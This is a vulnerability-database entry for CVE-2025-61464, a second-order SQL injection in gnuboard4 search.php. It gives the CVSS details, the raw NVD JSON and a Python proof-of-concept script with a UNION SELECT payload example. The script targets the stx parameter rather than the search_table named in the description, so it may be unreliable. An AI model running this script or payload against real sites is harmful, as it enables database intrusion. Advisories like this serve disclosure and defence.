Security Vulnerability Report
中文
CVE-2025-61464 CVSS 6.5 MEDIUM

CVE-2025-61464

Published: 2025-10-23 18:16:40
Last Modified: 2025-10-30 16:46:47

Description

gnuboard gnuboard4 v4.36.04 and before is vulnerable to Second-order SQL Injection via the search_table in bbs/search.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sir:gnuboard:*:*:*:*:*:*:*:* - VULNERABLE
gnuboard4 v4.36.04及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-61464 PoC - Second-order SQL Injection in gnuboard4 # Target: gnuboard4 v4.36.04 and before # Location: bbs/search.php search_table def exploit(target_url, payload): """ Exploit second-order SQL injection via search functionality """ # Step 1: Inject malicious payload through search search_endpoint = f"{target_url}/bbs/search.php" params = { 'sfl': 'wr_subject', # Search field 'stx': payload, # Malicious SQL payload 'sop': 'or' # Search operator } try: # First request - inject the payload response1 = requests.get(search_endpoint, params=params, timeout=10) print(f"[+] Payload injected: {payload}") # Step 2: Trigger execution of injected payload # The payload is stored and executed in subsequent queries trigger_params = { 'sfl': 'wr_subject', 'stx': 'test', # Normal search to trigger stored payload 'sop': 'and' } response2 = requests.get(search_endpoint, params=trigger_params, timeout=10) # Check for SQL error or successful injection if 'sql_error' in response2.text.lower() or response2.status_code != 200: print("[-] Injection may have failed") return False print("[+] Second-order SQL injection triggered successfully") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <payload>") print(f"Example: python {sys.argv[0]} http://target.com ' UNION SELECT 1,2,3--") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] exploit(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61464", "sourceIdentifier": "[email protected]", "published": "2025-10-23T18:16:40.167", "lastModified": "2025-10-30T16:46:47.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "gnuboard gnuboard4 v4.36.04 and before is vulnerable to Second-order SQL Injection via the search_table in bbs/search.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sir:gnuboard:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.36.04", "matchCriteriaId": "CAB4AD5F-736B-4A55-9BBE-15F977E5151E"}]}]}], "references": [{"url": "https://github.com/gnuboard/gnuboard4/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/gnuboard/gnuboard4/issues/1#issue-3421008974", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}